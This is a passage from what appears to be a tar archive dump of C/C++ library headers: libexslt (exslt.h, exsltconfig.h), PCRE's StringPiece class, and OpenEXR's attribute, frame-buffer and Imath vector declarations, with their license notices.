EXSLT_FUNCTIONS_NAMESPACE ((const xmlChar *) "http://exslt.org/functions") /** * EXSLT_STRINGS_NAMESPACE: * * Namespace for EXSLT strings functions */ #define EXSLT_STRINGS_NAMESPACE ((const xmlChar *) "http://exslt.org/strings") /** * EXSLT_DATE_NAMESPACE: * * Namespace for EXSLT date functions */ #define EXSLT_DATE_NAMESPACE ((const xmlChar *) "http://exslt.org/dates-and-times") /** * EXSLT_DYNAMIC_NAMESPACE: * * Namespace for EXSLT dynamic functions */ #define EXSLT_DYNAMIC_NAMESPACE ((const xmlChar *) "http://exslt.org/dynamic") /** * SAXON_NAMESPACE: * * Namespace for SAXON extensions functions */ #define SAXON_NAMESPACE ((const xmlChar *) "http://icl.com/saxon") EXSLTPUBFUN void EXSLTCALL exsltCommonRegister (void); #ifdef EXSLT_CRYPTO_ENABLED EXSLTPUBFUN void EXSLTCALL exsltCryptoRegister (void); #endif EXSLTPUBFUN void EXSLTCALL exsltMathRegister (void); EXSLTPUBFUN void EXSLTCALL exsltSetsRegister (void); EXSLTPUBFUN void EXSLTCALL exsltFuncRegister (void); EXSLTPUBFUN void EXSLTCALL exsltStrRegister (void); EXSLTPUBFUN void EXSLTCALL exsltDateRegister (void); EXSLTPUBFUN void EXSLTCALL exsltSaxonRegister (void); EXSLTPUBFUN void EXSLTCALL exsltDynRegister(void); EXSLTPUBFUN void EXSLTCALL exsltRegisterAll (void); EXSLTPUBFUN int EXSLTCALL exsltDateXpathCtxtRegister (xmlXPathContextPtr ctxt, const xmlChar *prefix); EXSLTPUBFUN int EXSLTCALL exsltMathXpathCtxtRegister (xmlXPathContextPtr ctxt, const xmlChar *prefix); EXSLTPUBFUN int EXSLTCALL exsltSetsXpathCtxtRegister (xmlXPathContextPtr ctxt, const xmlChar *prefix); EXSLTPUBFUN int EXSLTCALL exsltStrXpathCtxtRegister (xmlXPathContextPtr ctxt, const xmlChar *prefix); #ifdef __cplusplus } #endif #endif /* __EXSLT_H__ */ libexslt/exsltconfig.h 0000644 00000002302 15246445047 0011100 0 ustar 00 /* * exsltconfig.h: compile-time version informations for the EXSLT library * * See Copyright for the status of this software. * * daniel@veillard.com */ #ifndef __XML_EXSLTCONFIG_H__ #define __XML_EXSLTCONFIG_H__ #ifdef __cplusplus extern "C" { #endif /** * LIBEXSLT_DOTTED_VERSION: * * the version string like "1.2.3" */ #define LIBEXSLT_DOTTED_VERSION "1.1.32" /** * LIBEXSLT_VERSION: * * the version number: 1.2.3 value is 10203 */ #define LIBEXSLT_VERSION 820 /** * LIBEXSLT_VERSION_STRING: * * the version number string, 1.2.3 value is "10203" */ #define LIBEXSLT_VERSION_STRING "820" /** * LIBEXSLT_VERSION_EXTRA: * * extra version information, used to show a CVS compilation */ #define LIBEXSLT_VERSION_EXTRA "" /** * WITH_CRYPTO: * * Whether crypto support is configured into exslt */ #if 1 #define EXSLT_CRYPTO_ENABLED #endif /** * ATTRIBUTE_UNUSED: * * This macro is used to flag unused function parameters to GCC */ #ifdef __GNUC__ #ifdef HAVE_ANSIDECL_H #include <ansidecl.h> #endif #ifndef ATTRIBUTE_UNUSED #define ATTRIBUTE_UNUSED __attribute__((unused)) #endif #else #define ATTRIBUTE_UNUSED #endif #ifdef __cplusplus } #endif #endif /* __XML_EXSLTCONFIG_H__ */ pcre_stringpiece.h 0000644 00000014250 15246445047 0010257 0 ustar 00 // Copyright (c) 2005, Google Inc. // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Author: Sanjay Ghemawat // // A string like object that points into another piece of memory. // Useful for providing an interface that allows clients to easily // pass in either a "const char*" or a "string". // // Arghh! I wish C++ literals were automatically of type "string". #ifndef _PCRE_STRINGPIECE_H #define _PCRE_STRINGPIECE_H #include <cstring> #include <string> #include <iosfwd> // for ostream forward-declaration #if 0 #define HAVE_TYPE_TRAITS #include <type_traits.h> #elif 0 #define HAVE_TYPE_TRAITS #include <bits/type_traits.h> #endif #include <pcre.h> namespace pcrecpp { using std::memcmp; using std::strlen; using std::string; class PCRECPP_EXP_DEFN StringPiece { private: const char* ptr_; int length_; public: // We provide non-explicit singleton constructors so users can pass // in a "const char*" or a "string" wherever a "StringPiece" is // expected. StringPiece() : ptr_(NULL), length_(0) { } StringPiece(const char* str) : ptr_(str), length_(static_cast<int>(strlen(ptr_))) { } StringPiece(const unsigned char* str) : ptr_(reinterpret_cast<const char*>(str)), length_(static_cast<int>(strlen(ptr_))) { } StringPiece(const string& str) : ptr_(str.data()), length_(static_cast<int>(str.size())) { } StringPiece(const char* offset, int len) : ptr_(offset), length_(len) { } // data() may return a pointer to a buffer with embedded NULs, and the // returned buffer may or may not be null terminated. Therefore it is // typically a mistake to pass data() to a routine that expects a NUL // terminated string. Use "as_string().c_str()" if you really need to do // this. Or better yet, change your routine so it does not rely on NUL // termination. const char* data() const { return ptr_; } int size() const { return length_; } bool empty() const { return length_ == 0; } void clear() { ptr_ = NULL; length_ = 0; } void set(const char* buffer, int len) { ptr_ = buffer; length_ = len; } void set(const char* str) { ptr_ = str; length_ = static_cast<int>(strlen(str)); } void set(const void* buffer, int len) { ptr_ = reinterpret_cast<const char*>(buffer); length_ = len; } char operator[](int i) const { return ptr_[i]; } void remove_prefix(int n) { ptr_ += n; length_ -= n; } void remove_suffix(int n) { length_ -= n; } bool operator==(const StringPiece& x) const { return ((length_ == x.length_) && (memcmp(ptr_, x.ptr_, length_) == 0)); } bool operator!=(const StringPiece& x) const { return !(*this == x); } #define STRINGPIECE_BINARY_PREDICATE(cmp,auxcmp) \ bool operator cmp (const StringPiece& x) const { \ int r = memcmp(ptr_, x.ptr_, length_ < x.length_ ? length_ : x.length_); \ return ((r auxcmp 0) || ((r == 0) && (length_ cmp x.length_))); \ } STRINGPIECE_BINARY_PREDICATE(<, <); STRINGPIECE_BINARY_PREDICATE(<=, <); STRINGPIECE_BINARY_PREDICATE(>=, >); STRINGPIECE_BINARY_PREDICATE(>, >); #undef STRINGPIECE_BINARY_PREDICATE int compare(const StringPiece& x) const { int r = memcmp(ptr_, x.ptr_, length_ < x.length_ ? length_ : x.length_); if (r == 0) { if (length_ < x.length_) r = -1; else if (length_ > x.length_) r = +1; } return r; } string as_string() const { return string(data(), size()); } void CopyToString(string* target) const { target->assign(ptr_, length_); } // Does "this" start with "x" bool starts_with(const StringPiece& x) const { return ((length_ >= x.length_) && (memcmp(ptr_, x.ptr_, x.length_) == 0)); } }; } // namespace pcrecpp // ------------------------------------------------------------------ // Functions used to create STL containers that use StringPiece // Remember that a StringPiece's lifetime had better be less than // that of the underlying string or char*. If it is not, then you // cannot safely store a StringPiece into an STL container // ------------------------------------------------------------------ #ifdef HAVE_TYPE_TRAITS // This makes vector<StringPiece> really fast for some STL implementations template<> struct __type_traits<pcrecpp::StringPiece> { typedef __true_type has_trivial_default_constructor; typedef __true_type has_trivial_copy_constructor; typedef __true_type has_trivial_assignment_operator; typedef __true_type has_trivial_destructor; typedef __true_type is_POD_type; }; #endif // allow StringPiece to be logged PCRECPP_EXP_DECL std::ostream& operator<<(std::ostream& o, const pcrecpp::StringPiece& piece); #endif /* _PCRE_STRINGPIECE_H */ OpenEXR/ImfOpaqueAttribute.h 0000644 00000007062 15246445047 0011767 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_OPAQUE_ATTRIBUTE_H #define INCLUDED_IMF_OPAQUE_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class OpaqueAttribute // // When an image file is read, OpqaqueAttribute objects are used // to hold the values of attributes whose types are not recognized // by the reading program. OpaqueAttribute objects can be read // from an image file, copied, and written back to to another image // file, but their values are inaccessible. // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfArray.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT OpaqueAttribute: public Attribute { public: //---------------------------- // Constructors and destructor //---------------------------- OpaqueAttribute (const char typeName[]); OpaqueAttribute (const OpaqueAttribute &other); virtual ~OpaqueAttribute (); //------------------------------- // Get this attribute's type name //------------------------------- virtual const char * typeName () const; //------------------------------ // Make a copy of this attribute //------------------------------ virtual Attribute * copy () const; //---------------- // I/O and copying //---------------- virtual void writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &os, int version) const; virtual void readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, int size, int version); virtual void copyValueFrom (const Attribute &other); private: Array<char> _typeName; long _dataSize; Array<char> _data; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfIntAttribute.h 0000644 00000004424 15246445047 0011266 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_INT_ATTRIBUTE_H #define INCLUDED_IMF_INT_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class IntAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<int> IntAttribute; template <> IMF_EXPORT const char *IntAttribute::staticTypeName (); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfFrameBuffer.h 0000644 00000023613 15246445047 0011035 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_FRAME_BUFFER_H #define INCLUDED_IMF_FRAME_BUFFER_H //----------------------------------------------------------------------------- // // class Slice // class FrameBuffer // //----------------------------------------------------------------------------- #include "ImfName.h" #include "ImfPixelType.h" #include "ImfExport.h" #include "ImfNamespace.h" #include <map> #include <string> OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER //------------------------------------------------------- // Description of a single slice of the frame buffer: // // Note -- terminology: as part of a file, a component of // an image (e.g. red, green, blue, depth etc.) is called // a "channel". As part of a frame buffer, an image // component is called a "slice". //------------------------------------------------------- struct IMF_EXPORT Slice { //------------------------------ // Data type; see ImfPixelType.h //------------------------------ PixelType type; //--------------------------------------------------------------------- // Memory layout: The address of pixel (x, y) is // // base + (xp / xSampling) * xStride + (yp / ySampling) * yStride // // where xp and yp are computed as follows: // // * If we are reading or writing a scanline-based file: // // xp = x // yp = y // // * If we are reading a tile whose upper left coorner is at (xt, yt): // // if xTileCoords is true then xp = x - xt, else xp = x // if yTileCoords is true then yp = y - yt, else yp = y // //--------------------------------------------------------------------- char * base; size_t xStride; size_t yStride; //-------------------------------------------- // Subsampling: pixel (x, y) is present in the // slice only if // // x % xSampling == 0 && y % ySampling == 0 // //-------------------------------------------- int xSampling; int ySampling; //---------------------------------------------------------- // Default value, used to fill the slice when a file without // a channel that corresponds to this slice is read. //---------------------------------------------------------- double fillValue; //------------------------------------------------------- // For tiled files, the xTileCoords and yTileCoords flags // determine whether pixel addressing is performed using // absolute coordinates or coordinates relative to a // tile's upper left corner. (See the comment on base, // xStride and yStride, above.) // // For scanline-based files these flags have no effect; // pixel addressing is always done using absolute // coordinates. //------------------------------------------------------- bool xTileCoords; bool yTileCoords; //------------ // Constructor //------------ Slice (PixelType type = HALF, char * base = 0, size_t xStride = 0, size_t yStride = 0, int xSampling = 1, int ySampling = 1, double fillValue = 0.0, bool xTileCoords = false, bool yTileCoords = false); }; class IMF_EXPORT FrameBuffer { public: //------------ // Add a slice //------------ void insert (const char name[], const Slice &slice); void insert (const std::string &name, const Slice &slice); //---------------------------------------------------------------- // Access to existing slices: // // [n] Returns a reference to the slice with name n. // If no slice with name n exists, an IEX_NAMESPACE::ArgExc // is thrown. // // findSlice(n) Returns a pointer to the slice with name n, // or 0 if no slice with name n exists. // //---------------------------------------------------------------- Slice & operator [] (const char name[]); const Slice & operator [] (const char name[]) const; Slice & operator [] (const std::string &name); const Slice & operator [] (const std::string &name) const; Slice * findSlice (const char name[]); const Slice * findSlice (const char name[]) const; Slice * findSlice (const std::string &name); const Slice * findSlice (const std::string &name) const; //----------------------------------------- // Iterator-style access to existing slices //----------------------------------------- typedef std::map <Name, Slice> SliceMap; class Iterator; class ConstIterator; Iterator begin (); ConstIterator begin () const; Iterator end (); ConstIterator end () const; Iterator find (const char name[]); ConstIterator find (const char name[]) const; Iterator find (const std::string &name); ConstIterator find (const std::string &name) const; private: SliceMap _map; }; //---------- // Iterators //---------- class FrameBuffer::Iterator { public: Iterator (); Iterator (const FrameBuffer::SliceMap::iterator &i); Iterator & operator ++ (); Iterator operator ++ (int); const char * name () const; Slice & slice () const; private: friend class FrameBuffer::ConstIterator; FrameBuffer::SliceMap::iterator _i; }; class FrameBuffer::ConstIterator { public: ConstIterator (); ConstIterator (const FrameBuffer::SliceMap::const_iterator &i); ConstIterator (const FrameBuffer::Iterator &other); ConstIterator & operator ++ (); ConstIterator operator ++ (int); const char * name () const; const Slice & slice () const; private: friend bool operator == (const ConstIterator &, const ConstIterator &); friend bool operator != (const ConstIterator &, const ConstIterator &); FrameBuffer::SliceMap::const_iterator _i; }; //----------------- // Inline Functions //----------------- inline FrameBuffer::Iterator::Iterator (): _i() { // empty } inline FrameBuffer::Iterator::Iterator (const FrameBuffer::SliceMap::iterator &i): _i (i) { // empty } inline FrameBuffer::Iterator & FrameBuffer::Iterator::operator ++ () { ++_i; return *this; } inline FrameBuffer::Iterator FrameBuffer::Iterator::operator ++ (int) { Iterator tmp = *this; ++_i; return tmp; } inline const char * FrameBuffer::Iterator::name () const { return *_i->first; } inline Slice & FrameBuffer::Iterator::slice () const { return _i->second; } inline FrameBuffer::ConstIterator::ConstIterator (): _i() { // empty } inline FrameBuffer::ConstIterator::ConstIterator (const FrameBuffer::SliceMap::const_iterator &i): _i (i) { // empty } inline FrameBuffer::ConstIterator::ConstIterator (const FrameBuffer::Iterator &other): _i (other._i) { // empty } inline FrameBuffer::ConstIterator & FrameBuffer::ConstIterator::operator ++ () { ++_i; return *this; } inline FrameBuffer::ConstIterator FrameBuffer::ConstIterator::operator ++ (int) { ConstIterator tmp = *this; ++_i; return tmp; } inline const char * FrameBuffer::ConstIterator::name () const { return *_i->first; } inline const Slice & FrameBuffer::ConstIterator::slice () const { return _i->second; } inline bool operator == (const FrameBuffer::ConstIterator &x, const FrameBuffer::ConstIterator &y) { return x._i == y._i; } inline bool operator != (const FrameBuffer::ConstIterator &x, const FrameBuffer::ConstIterator &y) { return !(x == y); } OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathVec.h 0000644 00000130252 15246445047 0007713 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHVEC_H #define INCLUDED_IMATHVEC_H //---------------------------------------------------- // // 2D, 3D and 4D point/vector class templates // //---------------------------------------------------- #include "ImathExc.h" #include "ImathLimits.h" #include "ImathMath.h" #include "ImathNamespace.h" #include <iostream> #if (defined _WIN32 || defined _WIN64) && defined _MSC_VER // suppress exception specification warnings #pragma warning(push) #pragma warning(disable:4290) #endif IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template <class T> class Vec2; template <class T> class Vec3; template <class T> class Vec4; enum InfException {INF_EXCEPTION}; template <class T> class Vec2 { public: //------------------- // Access to elements //------------------- T x, y; T & operator [] (int i); const T & operator [] (int i) const; //------------- // Constructors //------------- Vec2 (); // no initialization explicit Vec2 (T a); // (a a) Vec2 (T a, T b); // (a b) //--------------------------------- // Copy constructors and assignment //--------------------------------- Vec2 (const Vec2 &v); template <class S> Vec2 (const Vec2<S> &v); const Vec2 & operator = (const Vec2 &v); //---------------------- // Compatibility with Sb //---------------------- template <class S> void setValue (S a, S b); template <class S> void setValue (const Vec2<S> &v); template <class S> void getValue (S &a, S &b) const; template <class S> void getValue (Vec2<S> &v) const; T * getValue (); const T * getValue () const; //--------- // Equality //--------- template <class S> bool operator == (const Vec2<S> &v) const; template <class S> bool operator != (const Vec2<S> &v) const; //----------------------------------------------------------------------- // Compare two vectors and test if they are "approximately equal": // // equalWithAbsError (v, e) // // Returns true if the coefficients of this and v are the same with // an absolute error of no more than e, i.e., for all i // // abs (this[i] - v[i]) <= e // // equalWithRelError (v, e) // // Returns true if the coefficients of this and v are the same with // a relative error of no more than e, i.e., for all i // // abs (this[i] - v[i]) <= e * abs (this[i]) //----------------------------------------------------------------------- bool equalWithAbsError (const Vec2<T> &v, T e) const; bool equalWithRelError (const Vec2<T> &v, T e) const; //------------ // Dot product //------------ T dot (const Vec2 &v) const; T operator ^ (const Vec2 &v) const; //------------------------------------------------ // Right-handed cross product, i.e. z component of // Vec3 (this->x, this->y, 0) % Vec3 (v.x, v.y, 0) //------------------------------------------------ T cross (const Vec2 &v) const; T operator % (const Vec2 &v) const; //------------------------ // Component-wise addition //------------------------ const Vec2 & operator += (const Vec2 &v); Vec2 operator + (const Vec2 &v) const; //--------------------------- // Component-wise subtraction //--------------------------- const Vec2 & operator -= (const Vec2 &v); Vec2 operator - (const Vec2 &v) const; //------------------------------------ // Component-wise multiplication by -1 //------------------------------------ Vec2 operator - () const; const Vec2 & negate (); //------------------------------ // Component-wise multiplication //------------------------------ const Vec2 & operator *= (const Vec2 &v); const Vec2 & operator *= (T a); Vec2 operator * (const Vec2 &v) const; Vec2 operator * (T a) const; //------------------------ // Component-wise division //------------------------ const Vec2 & operator /= (const Vec2 &v); const Vec2 & operator /= (T a); Vec2 operator / (const Vec2 &v) const; Vec2 operator / (T a) const; //---------------------------------------------------------------- // Length and normalization: If v.length() is 0.0, v.normalize() // and v.normalized() produce a null vector; v.normalizeExc() and // v.normalizedExc() throw a NullVecExc. // v.normalizeNonNull() and v.normalizedNonNull() are slightly // faster than the other normalization routines, but if v.length() // is 0.0, the result is undefined. //---------------------------------------------------------------- T length () const; T length2 () const; const Vec2 & normalize (); // modifies *this const Vec2 & normalizeExc () throw (IEX_NAMESPACE::MathExc); const Vec2 & normalizeNonNull (); Vec2<T> normalized () const; // does not modify *this Vec2<T> normalizedExc () const throw (IEX_NAMESPACE::MathExc); Vec2<T> normalizedNonNull () const; //-------------------------------------------------------- // Number of dimensions, i.e. number of elements in a Vec2 //-------------------------------------------------------- static unsigned int dimensions() {return 2;} //------------------------------------------------- // Limitations of type T (see also class limits<T>) //------------------------------------------------- static T baseTypeMin() {return limits<T>::min();} static T baseTypeMax() {return limits<T>::max();} static T baseTypeSmallest() {return limits<T>::smallest();} static T baseTypeEpsilon() {return limits<T>::epsilon();} //-------------------------------------------------------------- // Base type -- in templates, which accept a parameter, V, which // could be either a Vec2<T>, a Vec3<T>, or a Vec4<T> you can // refer to T as V::BaseType //-------------------------------------------------------------- typedef T BaseType; private: T lengthTiny () const; }; template <class T> class Vec3 { public: //------------------- // Access to elements //------------------- T x, y, z; T & operator [] (int i); const T & operator [] (int i) const; //------------- // Constructors //------------- Vec3 (); // no initialization explicit Vec3 (T a); // (a a a) Vec3 (T a, T b, T c); // (a b c) //--------------------------------- // Copy constructors and assignment //--------------------------------- Vec3 (const Vec3 &v); template <class S> Vec3 (const Vec3<S> &v); const Vec3 & operator = (const Vec3 &v); //--------------------------------------------------------- // Vec4 to Vec3 conversion, divides x, y and z by w: // // The one-argument conversion function divides by w even // if w is zero. The result depends on how the environment // handles floating-point exceptions. // // The two-argument version thows an InfPointExc exception // if w is zero or if division by w would overflow. //--------------------------------------------------------- template <class S> explicit Vec3 (const Vec4<S> &v); template <class S> explicit Vec3 (const Vec4<S> &v, InfException); //---------------------- // Compatibility with Sb //---------------------- template <class S> void setValue (S a, S b, S c); template <class S> void setValue (const Vec3<S> &v); template <class S> void getValue (S &a, S &b, S &c) const; template <class S> void getValue (Vec3<S> &v) const; T * getValue(); const T * getValue() const; //--------- // Equality //--------- template <class S> bool operator == (const Vec3<S> &v) const; template <class S> bool operator != (const Vec3<S> &v) const; //----------------------------------------------------------------------- // Compare two vectors and test if they are "approximately equal": // // equalWithAbsError (v, e) // // Returns true if the coefficients of this and v are the same with // an absolute error of no more than e, i.e., for all i // // abs (this[i] - v[i]) <= e // // equalWithRelError (v, e) // // Returns true if the coefficients of this and v are the same with // a relative error of no more than e, i.e., for all i // // abs (this[i] - v[i]) <= e * abs (this[i]) //----------------------------------------------------------------------- bool equalWithAbsError (const Vec3<T> &v, T e) const; bool equalWithRelError (const Vec3<T> &v, T e) const; //------------ // Dot product //------------ T dot (const Vec3 &v) const; T operator ^ (const Vec3 &v) const; //--------------------------- // Right-handed cross product //--------------------------- Vec3 cross (const Vec3 &v) const; const Vec3 & operator %= (const Vec3 &v); Vec3 operator % (const Vec3 &v) const; //------------------------ // Component-wise addition //------------------------ const Vec3 & operator += (const Vec3 &v); Vec3 operator + (const Vec3 &v) const; //--------------------------- // Component-wise subtraction //--------------------------- const Vec3 & operator -= (const Vec3 &v); Vec3 operator - (const Vec3 &v) const; //------------------------------------ // Component-wise multiplication by -1 //------------------------------------ Vec3 operator - () const; const Vec3 & negate (); //------------------------------ // Component-wise multiplication //------------------------------ const Vec3 & operator *= (const Vec3 &v); const Vec3 & operator *= (T a); Vec3 operator * (const Vec3 &v) const; Vec3 operator * (T a) const; //------------------------ // Component-wise division //------------------------ const Vec3 & operator /= (const Vec3 &v); const Vec3 & operator /= (T a); Vec3 operator / (const Vec3 &v) const; Vec3 operator / (T a) const; //---------------------------------------------------------------- // Length and normalization: If v.length() is 0.0, v.normalize() // and v.normalized() produce a null vector; v.normalizeExc() and // v.normalizedExc() throw a NullVecExc. // v.normalizeNonNull() and v.normalizedNonNull() are slightly // faster than the other normalization routines, but if v.length() // is 0.0, the result is undefined. //---------------------------------------------------------------- T length () const; T length2 () const; const Vec3 & normalize (); // modifies *this const Vec3 & normalizeExc () throw (IEX_NAMESPACE::MathExc); const Vec3 & normalizeNonNull (); Vec3<T> normalized () const; // does not modify *this Vec3<T> normalizedExc () const throw (IEX_NAMESPACE::MathExc); Vec3<T> normalizedNonNull () const; //-------------------------------------------------------- // Number of dimensions, i.e. number of elements in a Vec3 //-------------------------------------------------------- static unsigned int dimensions() {return 3;} //------------------------------------------------- // Limitations of type T (see also class limits<T>) //------------------------------------------------- static T baseTypeMin() {return 